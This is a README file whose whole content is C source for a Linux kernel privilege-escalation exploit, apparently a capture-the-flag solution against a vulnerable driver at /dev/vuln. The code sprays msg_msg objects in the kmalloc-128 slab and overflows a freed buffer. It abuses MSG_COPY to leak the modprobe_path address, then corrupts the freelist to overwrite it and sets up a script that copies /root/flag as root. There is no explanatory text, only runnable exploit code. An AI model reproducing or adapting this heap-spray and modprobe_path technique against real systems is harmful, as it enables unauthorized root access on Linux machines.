README.md
Rendering markdown...
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/syscall.h>
#define PAGE_SIZE 4096
#define SLAB_NAME "kmalloc-128"
#define MSG_COPY 040000
int fd = -1;
unsigned long modprobe_path = 0;
char* script_path = "/tmp/x\x00";
unsigned long queue;
int qid[4];
void open_dev(){
fd = open("/dev/vuln", O_RDWR);
if(fd < 0){
puts("[!] Error opening device");
exit(-1);
}
puts("[*] Opened device");
}
void dev_write(char* buf, size_t n){
if(write(fd, buf, n)<0) {
puts("[!] Error writing to device");
//exit(-1);
} else {
puts("[*] Wrote to device");
}
}
#define HEADER_SZ 48
#define MSIZE 128-HEADER_SZ
struct {
long mtype;
char mtext[MSIZE];
} msg;
int make_q(int type) {
msg.mtype = type;
int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if(id == -1) {
perror("msgget");
return -1;
}
return id;
}
void send_msg(int qid, int size, int c) {
size_t msize = size - HEADER_SZ;
struct {
long mtype;
char mtext[msize];
} msg;
msg.mtype = 1;
memset(msg.mtext, c, msize);
msg.mtext[msize-1] = 0;
if(msgsnd(qid, &msg, msize, 0) == -1) {
perror("msgsnd");
exit(1);
}
}
void hex_dump(char *buff, unsigned long size) {
int i,j;
for (i = 0; i < size/8; i++) {
if(i % 2 == 0) {
if (i != 0)
printf(" \n");
printf(" %04x ", i*8);
}
unsigned long ptr = ((unsigned long *)(buff))[i];
printf("0x%016lx", ptr);
printf(" ");
}
printf("\n");
}
void check_slab(char *slab_name, int *active, int *total) {
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return;
}
}
}
void print_slab_info() {
int total_num, active_num;
check_slab(SLAB_NAME, &active_num, &total_num);
printf("[+] Checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num-active_num);
}
void warm_heap(int n) {
memset(msg.mtext, 0x69, MSIZE-1);
msg.mtext[MSIZE-1] = 0;
msg.mtype = 2;
int msqids[n];
size_t i;
printf("[*] Allocating %d msg_msg\n", n);
for(i=0; i<n; i++) {
msqids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msgsnd(msqids[i], &msg, sizeof(msg.mtext), 0) != 0)
printf("[*] Error with msgsnd %d in warm_heap\n", msqids[i]);
}
printf("[*] Freeing %d msg_msg\n", n);
for(i=0; i<n; i++) {
if (msgrcv(msqids[i], &msg.mtext, sizeof(msg.mtext), 0, 0) == -1)
printf("[*] Error with msgrcv %d in spray_heap\n", msqids[i]);
}
}
unsigned long evil[60];
void leak() {
// create buffer to overflow with:
size_t evilsz = 160;
memset(evil, 0, evilsz);
for(size_t i=0; i<12; i++){
evil[i] = 0xa; // make driver stop parsing params
}
evil[16] = (unsigned long)0x4141414141414141;
evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list;
evil[18] = (unsigned long)0x000; // long m_type;
int leak_sz = 0x200;
evil[19] = leak_sz; // size_t m_ts;
qid[0] = make_q(1);
qid[1] = make_q(1);
qid[2] = make_q(1);
send_msg(qid[0], 128, 0x40);
send_msg(qid[1], 128, 0x41);
send_msg(qid[2], 128, 0x42);
send_msg(qid[2], 8184, 0x43);
socket(22, AF_INET, 0);
/*
* 0 : will be replaced with victim
* 1 : overflowed
* 2 list head next ---> (B) k4096 header msg_next --> k4096 data
* 3 socket -> modprobe leak
**/
char buff[80];
// free and replace message with victim buffer to overflow
msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT);
dev_write((char*)evil, evilsz);
puts("[*] Wrote into freed buffer");
char* leaked = (char*)calloc(leak_sz, 1);
int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT);
if(res>80) {
//hex_dump(leaked, leak_sz);
unsigned long leaked_addr[leak_sz/sizeof(unsigned long)];
memcpy(leaked_addr, leaked, leak_sz);
printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[32]);
modprobe_path = leaked_addr[32];
} else {
puts("[!] Error overwriting m_ts ");
}
}
void make_script() {
system("echo '#!/bin/sh\ncp /root/flag /home/ctf/flag\nchmod 777 /home/ctf/flag' > /tmp/x ");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
}
void arb_write() {
memset(evil, 0, 50*sizeof(unsigned long));
for(size_t i=0; i<12; i++){
evil[i] = 0xa; // make driver stop parsing params
}
evil[24] = modprobe_path-48;
evil[40] = modprobe_path-48;
evil[56] = modprobe_path-48;
puts("[*] Overwriting freelist pointer");
warm_heap(80);
dev_write((char*)evil, sizeof(unsigned long)*56);
struct {
long mtype;
char mtext[MSIZE];
} msg;
msg.mtype = 3;
memset(msg.mtext, 0x0, MSIZE);
memcpy(msg.mtext, script_path, 6);
for(size_t i=0; i<30; i++){
if(msgsnd(qid[2], &msg, MSIZE, 0) == -1) {
perror("msgsnd");
exit(1);
}
}
}
int main() {
open_dev();
leak();
if(modprobe_path) {
arb_write();
make_script();
} else {
puts("[*] Offset not found");
}
}